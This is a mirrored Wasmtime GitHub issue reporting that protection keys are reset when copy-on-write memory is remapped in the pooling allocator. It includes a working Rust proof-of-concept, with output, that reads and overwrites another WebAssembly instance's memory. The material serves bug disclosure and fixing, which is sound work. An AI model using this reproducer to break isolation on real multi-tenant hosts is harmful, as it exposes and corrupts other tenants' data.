Stream: git-wasmtime

Topic: wasmtime / issue #13982 MPK does not reset protection key...


view this post on Zulip Wasmtime GitHub notifications bot (Jul 25 2026 at 19:51):

alexcrichton opened issue #13982:

Turns out applying a new mmap to a region will reset protection keys allocated to a region of memory. This means that CoW mappings when combined with MPK mean that it's possible to read data across instances:

use wasmtime::Result;
use wasmtime::*;

fn main() -> Result<()> {
    let mut pool = PoolingAllocationConfig::new();
    pool.memory_protection_keys(Enabled::Yes);
    pool.max_memory_size(1 << 20);
    pool.total_memories(64);
    pool.total_tables(64);
    pool.total_core_instances(64);

    let mut config = Config::new();
    config.allocation_strategy(InstanceAllocationStrategy::Pooling(pool));
    let engine = Engine::new(&config)?;

    let ma = Module::new(
        &engine,
        r#"(module (memory (export "m") 1) (data (i32.const 0) "SECRET"))"#,
    )?;
    let mb = Module::new(
        &engine,
        r#"(module (memory (export "m") 1)
             (func (export "load") (param i32) (result i32) local.get 0 i32.load)
             (func (export "store") (param i32 i32) local.get 0 local.get 1 i32.store))"#,
    )?;

    let mut a = Store::new(&engine, ());
    let mut b = Store::new(&engine, ());
    let ia = Instance::new(&mut a, &mb, &[])?;
    let ib = Instance::new(&mut b, &ma, &[])?;

    let ma = ia.get_memory(&mut a, "m").unwrap();
    let mb = ib.get_memory(&mut b, "m").unwrap();
    let off = u32::try_from(mb.data_ptr(&b) as usize - ma.data_ptr(&a) as usize).unwrap() as i32;
    println!("ma memory sits at +{off:#x} from the mb's memory");

    let load = ia.get_typed_func::<i32, i32>(&mut a, "load")?;
    let store = ia.get_typed_func::<(i32, i32), ()>(&mut a, "store")?;
    if let Ok(v) = load.call(&mut a, off) {
        println!(
            "erroneously able to read {:?}",
            String::from_utf8_lossy(&v.to_le_bytes())
        );
    }
    if store.call(&mut a, (off, 0x41414141)).is_ok() {
        println!("cross-instance store succeeded {:?}", &mb.data(&b)[..11]);
    }
    Ok(())
}

runs as:

$ cargo run
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.05s
     Running `target/debug/minimal`
ma memory sits at +0x11334000 from the mb's memory
erroneously able to read "SECR"
cross-instance store succeeded [65, 65, 65, 65, 69, 84, 0, 0, 0, 0, 0]

Note that MPK is already documented as possibly buggy, and this is an example of a bug

view this post on Zulip Wasmtime GitHub notifications bot (Jul 25 2026 at 19:51):

alexcrichton added the bug label to Issue #13982.

view this post on Zulip Wasmtime GitHub notifications bot (Jul 25 2026 at 19:51):

alexcrichton added the wasmtime:pooling-allocator label to Issue #13982.


Last updated: Jul 29 2026 at 05:03 UTC